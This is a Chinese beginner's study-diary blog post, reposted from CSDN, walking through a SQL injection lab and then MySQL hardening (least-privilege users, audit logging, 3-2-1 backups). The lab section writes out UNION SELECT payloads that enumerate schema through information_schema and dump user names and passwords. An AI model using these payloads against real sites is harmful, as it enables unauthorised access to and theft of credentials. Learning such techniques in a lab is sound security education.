关注

如何从一名小白成为网安大神(第十一天)

一、学习数据库安全基础

(一)sql注入实战:联合查询

1、已知该靶场是get方式的,可以通过修改参数查询姓名信息。

2、可以通过post方式修改参数查询姓名信息。(借助插件在插件上输入信息)

3、尝试使用联合注入的方式回显内容的字段数,最后直到6没有报错,说明该数据库的数据表中有六个字段

4、将查询的第一个选项选为0或以下,让第一个查询结果为空 通过联合注入的方式只查询第二个查询结果,看得到的数是什么,说明回显的是第几个字段

5、在回显的字段中填入database(),使其回显当前所在的数据库的库名。

(二)信息收集-库、表、字段

1、查库名

union select 1,database(),3,4,5,6

2、查表名

union select 1,(table_name),3,4,5,6 from information_schema.tables where table_schema=database() limit 0,1

3、查字段名

union select 1,column_name,3,4,5,6 from information_schema.columns where table_schema=database() and table_name='users' limit 0,1

4、脱库拿数据

(1)使用concat 把账号密码拼接在一起回显回来

union select 1,concat(name,':',password),3,4,5,6 from users limit 0,1

(2)使用group_concat 可以把属于name,password的值全部打包放在一起回显回来

union select 1,group_concat(name,password),3,4,5,6 from users limit 0,1

(三)数据库安全加固策略

1、核心思想:权限“刚好够用”

为应用程序分配仅能完成其工作所需的最小权限集,避免过度授权。

2、创建独立用户:

(1)创建用户

CREATE USER 'appuser'@'localhost' IDENTIFIED BY '密码';

如 CREATE USER 'qingfeng'@'localhost' IDENTIFIED BY '123456';

(2)对用户赋予只限数据库school的查询、增加、修改权限

GRANT SELECT, INSERT, UPDATE ON school.* TO 'qingfeng'@'localhost';

(3)创建用户和赋予权限后要刷新权限

flush PRIVILEGES

(4)严禁事项 (红线)

绝对禁止使用 root等超级管理员权限账号运行应用程序,防止权限

滥用与提权攻击。

3、开启审计日志

set global general_log=on;

(1)查看日志位置

show variables like 'general_log_file';

(2)安全审计与取证

记录所有SQL操作,用于行为追踪。即使遭遇攻击,也能通过日志分

析黑客操作路径,是事后溯源的关键证据。

4、数据备份

3 份备份 (3 Copies) 原始数据 + 至少两份副本,确保数据不丢失。

2 种介质 (2 Media) 使用不同的存储介质,如本地硬盘 + 云存储,避免单点故障。

1 份离线 (1 Offsite) 至少有一份备份是离线存储的,如移动硬盘,防止被远程删除。

转载自CSDN-专业IT技术社区

原文链接:https://blog.csdn.net/Zqh1229678027/article/details/161839560

评论

赞0

评论列表

微信小程序
QQ小程序

关于作者

点赞数:0
关注数:0
粉丝:0
文章:0
关注标签:0
加入于:--